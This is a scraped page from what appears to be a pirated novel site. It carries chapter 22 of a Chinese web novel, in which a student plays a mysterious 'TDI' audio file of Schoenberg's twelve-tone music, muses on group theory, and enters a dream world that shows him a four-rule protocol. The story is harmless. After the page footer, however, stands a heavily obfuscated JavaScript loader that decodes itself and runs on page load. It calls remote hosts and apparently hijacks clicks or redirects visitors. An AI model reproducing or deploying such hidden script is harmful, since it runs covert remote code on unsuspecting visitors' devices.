首页
第22章 TDI梦网协议
返回
关灯 护眼:关 字号:小

第22章 TDI梦网协议

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    第22章TDI梦网协议(第1/2页)
    明明还不到下午四点,窗外的天色已经完全暗下来了。
    厚重的云层压得很低,余弦第一次体会到了什么叫做“黑云压城城欲摧”的气势。
    收回视线,手指在两个软件之间切换,填上MAC地址和邀请码,确认验证。
    屏幕中央的加载圆圈转了两圈,浏览器画面明显卡顿了一下,转圈动画都有些掉帧。
    又转了半天,一行英文小字弹了出来。
    “设备绑定成功,可通过手机扬声器播放音频,请勿使用耳机等外接设备。”
    不太懂这里面的门道,一般软件不都会提示“带好耳机效果更佳”吗?这个TDI竟然只让用手机默认的扬声器播放。
    思考的时候,屏幕的卡顿消失了,紧接着,页面跳转。
    没有想象中复杂的后台界面,没有那种充满科技感的数据仪表盘,甚至连个软件下载链接都没有。
    页面上只是弹出了一个孤零零的下载任务。
    文件名很简单:TDI_Audio_Session1.wav,大小:45MB。
    余弦愣了愣。
    这是一个......音频文件?
    手指悬在屏幕上方,半天没按下去那个确认按钮。
    五千一百块,换来的只是一段45MB的音频?
    这简陋的程度,简直像在路边小店买的假冒伪劣的盗版光碟......
    没有APP软件,没有安装包,透露着一种说不出的诡异感。
    点击确认下载,网速很快,几乎是眨眼间,文件就躺进了手机浏览器下载完成的列表里。
    之前听说过,有很多软件会把软件安装包压缩在一张JPG格式的图片里,使用的时候,只需要把jpg的后缀名改成zip就可以解压缩。
    难道这个音频文件也是这样?
    点开文件,屏幕上出现了手机自带的音频播放界面。
    没有任何文字说明,屏幕上就只有那个简单的、黑色的三角形播放键,和下方的灰色进度条。
    这就是TDI项目的入口?一段音频文件?
    不管了,既然已经买了,那就先听听看,说不定有奇效呢。
    他在沙发上找了个舒服的姿势,头枕在靠垫上。
    指尖有些颤抖,悬在了那个黑色的三角形上,按下。
    没听到什么特殊的声音,只有一阵极其细微的、像是电流底噪一样的“沙沙”声。
    反倒是窗外大风的呼啸声,远处隐约的雷声,大雨倾泻打在外墙上的水花声,像是一曲交响乐。
    皱了皱眉,伸手调大了一些音量。
    还是沙沙声,像是老式电视机收不到信号时候的雪花声,让他想起了之前用过的助眠白噪音。
    就这?
    这和普通的助眠音频,有什么区别?
    五千一百块的白噪音?
    心里已经有些隐约的失望感,甚至开始心疼自己的钱包,一种上当受骗的感觉油然而生。
    正想着去找卖家询问,扬声器里单调的沙沙声突然发生了变化。
    没有任何过渡,甚至没有前奏,一声突兀的、尖锐的钢琴曲,突然在手机里响起。
    听了一会,眉头越皱越紧。
    这可能根本算不上钢琴曲,即便余弦完全不懂音乐,他也能听出来,这像是一个钢琴的初学者在乱弹。
    不对,甚至都算不上初学者,说实话,若不是这个节奏还算连贯,余弦都会怀疑这是一只猫在钢琴上面踩出来的声音。
    没有旋律、没有和声、没有主调,高音尖锐的刺耳,低音沉闷的压抑,如同......噪音。
    别说助眠了,这音乐听得人头皮发麻,心脏都跟着这毫无规律的节奏收缩。
    这是什么阴间音乐?
    余弦皱着眉头,忍着关掉的冲动,点开了电脑上一个音乐软件的“听歌识曲”功能。
    识别的速度很快,几乎是几秒钟就跳出了结果。
    封面是一张黑白色的肖像,一个眼神忧郁的秃顶男人。
    作曲家:阿诺德·勋伯格(ArnoldSchoenberg)
    曲名:《钢琴组曲Op.25》(PianoSuiteOp.25)
    竟然不是乱弹,还真有这首曲子?
    看这个这个头顶尖尖的音乐家“阿诺德·勋伯格”,余弦切换到浏览器,输入了这个关键词。
    搜索结果很快跳了出来,百科的第一行就写着:二十世纪奥地利作曲家,西方现代主义音乐代表人物,“十二音技法”创始人。
    而这个钢琴组曲OP25,就是最早的十二音技法的作品。
    十二音技法......
    手指向下滑动,对这个创作方式的解释稍微有些晦涩,总而言之,这种作曲法是完全摒弃了传统音乐创作的方式。
    在传统音乐里,总有一个“主音”,比如C大调的C,而其他的音符都围绕着主音去构建,所以听起来很稳定、温和、舒服,这就是和声的功劳。
    整体听起来很和谐,所以和声、和弦的英文才叫做Harmony,中文也是和谐的意思。
    但在十二音技法里,一个八度的所有音节地位完全平等,没有主次之分,所以听起来很抽象、诡谲、别扭。
    在这种创作方式里,作曲家必须要严格按照数理逻辑,排列出一个包含全部12个音节的“音列”,严禁重复。
    然后再基于音列,做四种基本变换,包括“原形”原始顺序、从后往前的“逆行”顺序、上下行颠倒的“倒影”顺序,和先倒影再逆行“逆行倒影”顺序。
    看到这里,余弦的脑子里突然蹦出了一个词。
    群论。
    因为最近一直在恶补和研究父母的论文,他脑子下意识的联想到了这个抽象代数里的概念,他们物理学里研究晶体结构、粒子相互作用的时候也经常用到。
    群论是数学里的一个分支,它是研究“对称性”的学科,简单来说,就是研究“某个东西怎么变化,但变完之后看起来还是同一个东西”的学科。
    好吧,这样说好像也不简单,还是有些抽象,打个比方。
    群论就像个大动物园,里面有很多种不同类型的“群”物种,其中有一个物种类型,叫做“克莱因四元群”,是德国数学家克莱因在19世纪命名的。
    拿面前衣架上挂着的秋衣来举例,如果早晨没开灯的情况下,这个秋衣可能会被他穿成四种样子:
    第一种,穿对了。也就是领口朝前、印花朝外。
    第二种,前后穿反了。这时候往往会有一种“被无形的力量扼住了喉咙”喘不上气、脖子后面凉飕飕的感觉,实际上是因为把秋衣的领口朝后穿反导致的。
    第三种,内外穿反了。秋衣的印花贴着身体,缝线露在外面。
    第四种,内外也穿反,前后也穿反。可以说是最天才的一种穿法。
    在这种情况下,不管如何组合上面这几种穿法,最终穿出来的样子永远只会是上面四种之一,不会变成第五种,而且每一种穿法,重复做两次,就会回到原点。
    像这样,它就属于一种“克莱因四元群”。
    而这个十二音技法,竟然也严丝合缝的符合“克莱因四元群”的特征?
    (本章未完,请点击下一页继续阅读)第22章TDI梦网协议(第2/2页)
    这哪里是在作曲?这分明是在用钢琴演示一个封闭的数学逻辑概念!
    它剔除了人对音乐“舒适感”的追求,只剩下了一个冰冷的、严谨的、绝对的逻辑骨架。
    把感性剥离了,只剩下了结构。
    但......
    为什么要播放这种音乐呢?
    这东西能助眠?
    总不会搞这么一套音乐,只是为了来唬人吧?
    那也太故弄玄虚、装神弄鬼了。
    还是说,这背后有什么科学逻辑?
    往后切了一段,音乐的音量降低了一些,和另一种有节奏感的白噪音交织着。
    又听了一会,好像也没什么效果,完全感受不到困意。
    实在摸不清头脑,他切回聊天界面,给卖家发了条消息:
    “我在官网下载了个文件,有几个小时的音频,我刚听了几段,一点困意也没有,这个要怎么助眠?”
    对面回的很快,又是一个呲牙笑的表情:
    “你要从头听,不能断不能跳,被消息、电话打扰都不行。老弟,你就开上勿扰模式,手机充上电,放旁边外放,闭着眼听着睡觉就好了。”
    从头听、不能断、不能跳?
    甚至来个消息都会有问题,以至于需要开着勿扰模式?
    为什么会有这么严格的限制呢?
    余弦看着那个正在播放的界面,那诡异的钢琴声还在继续。
    深吸了一口气,将信将疑的把手机放在靠枕旁边,强迫自己重新闭上眼睛。
    刺耳。
    难受。
    每一个音符都卡在那个最让人不舒服的地方上。
    在忍受了几十分钟的极度不适后,那些杂乱无章的钢琴声在慢慢减弱,另一种低频律动的白噪音开始微弱起伏。
    不知不觉间,余弦感觉自己的呼吸也开始跟上了那个节奏。
    吸气......呼气......
    原本有些急促的心跳,也慢慢平复下来,和那个白噪音的频率逐渐同步。
    不知道过了多久,现实世界的边界感开始模糊,身体变得异常沉重,窗外的雨声雷声也渐渐远去。
    这就是......“嗜睡”的前兆吗?
    余弦想要睁开眼,确认一下自己是不是还清醒着,却发现眼皮根本沉重的抬不起来,甚至连呼吸的控制权都在慢慢丧失。
    在意识彻底断片前的最后一秒,他似乎感觉到大脑的某个部位剧痛了一下,然后便陷入了......
    眼前的这个世界。
    ......
    这是一个白色的地方。
    或者说,这里的“白”,不是颜色的白,而是一种“空”,一种绝对的、没有杂质的空无。
    没有上下左右、没有重力、没有时间流逝的感受、甚至没有身体的知觉。
    刚才那一刻剧烈的脑部刺痛,也已经消失的无影无踪,取而代之的,是一种前所未有的清醒。
    这种清醒的感觉很诡异,不像是在做梦,因为他的大脑逻辑运转速度快的惊人。
    这是哪?
    他试图说话,但没有声带振动的触感,但又确确实实听到了他想说的这句话,像是一种回响。
    就在这时,眼前的虚无开始波动,一串杂乱无章的字符浮现,疯狂跳动、重组。
    几秒钟后,乱码逐渐变成一行行有序的信息,变成了工整的黑色汉字,悬浮在白色背景上。
    “实验者你好,欢迎来到TDI三期梦网登录页”
    伴随着这行文字出现,一个声音在余弦的耳边响起。
    或者更准确地说,是在他脑海的深处同步响起,跟刚才那句他想说的“这是哪”一样。
    余弦猛地愣了一下,这个声音......
    这不是他认识的任何人的声音。
    这个声音熟悉到了极点,却又陌生到了极点。
    那是......
    他自己的声音?
    不,准确的说,那是他平时看书、看论文、思考问题时,大脑里那个“默读”的声音。
    每个人在读文字的时候,脑子里都会有一个“内声”,它没有具体的听觉实体,它只是思维的具象化。
    余弦活了二十年,从来没有如此清晰地“听”到过这个声音实体化后的样子。
    忽的,大段的文字成片出现在眼前,“梦网协议”四个字在最前面。
    这个源于他潜意识的声音,正在用一种绝对理性的语调,给他朗读着眼前的“梦网协议”。
    “第一条:梦网登录规则”
    “用于引导登录的音频文件叫做SessionKey登录秘钥,该秘钥对您仅单次有效。因此,您需要用绑定的设备每日登录官网,下载最新的音频文件,方可再次登录。”
    余弦皱了皱眉,一次性的?这是什么原因?难道是为了防止把码传给别人使用?
    这也不对啊,这个音频文件在手机里又不会删除,即便是一次性,这个音频应该也是可以传播的,这能限制住什么?
    等醒来后,如果还记得这件事,要把这音频发给史作舟试一试,看看他能不能也到这个“梦网”里来。
    “第二条:硬件设备绑定”
    “音频必须在已绑定的物理终端上,通过原生扬声器外放播放。请勿使用耳机、音箱等任何外接设备。请勿对绑定终端进行硬件维修、更换零件,包括但不限于更换扬声器、屏幕、电池、外壳等,否则可能导致引导失败。”
    这要求未免也太苛刻了。
    不能用其他设备播放,余弦还稍微能够理解。
    但连修手机都不行?听起来也太玄乎了。
    但现在都能入梦,在梦里还能有这么清晰的思维,也由不得自己不相信,只能醒来再慢慢思考其中的原理。
    “第三条,梦境记忆机制。”
    “目前三期实验中,受试者在梦网中经历的99%的内容,包括场景、对话、情节,将在您苏醒后遗忘,仅有被系统标记为‘关键信息’的内容,以及本协议规则,会被保留在您清醒后的记忆中。”
    遗忘。
    这个之前已经听卖家说过,“这玩意儿醒来之后跟正常做梦一样,根本记不得多少”,这也正常,做梦也一般记不得多少,因为MCH神经元——
    想到这里,他突然意识到了什么,MCH神经元,还是上周一去南门买东西时,杨依依学姐告诉他的,人类对梦境的遗忘机制。
    不知道杨依依学姐的研究,和TDI有没有联系?他们团队之间的学术交流,难道是针对这方面的?
    “第四条,行为习惯重塑。”
    “TDI三期的核心研究方向,是基于潜意识的‘现实行为矫正’,在梦境中,您可以设定一个希望在现实中培养或改善的行为习惯,多次入梦实验后,现实中会获得该习惯的行为矫正,该行为将固化为您的本能。”
    声音停止,白色的背景上,出现了一个简单的选项框:
    “我已阅读并知晓上述《TDI梦网协议》”
    下面是一个闪烁的“确认”按钮。
    “确认”旁边的按钮是,“醒来”。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();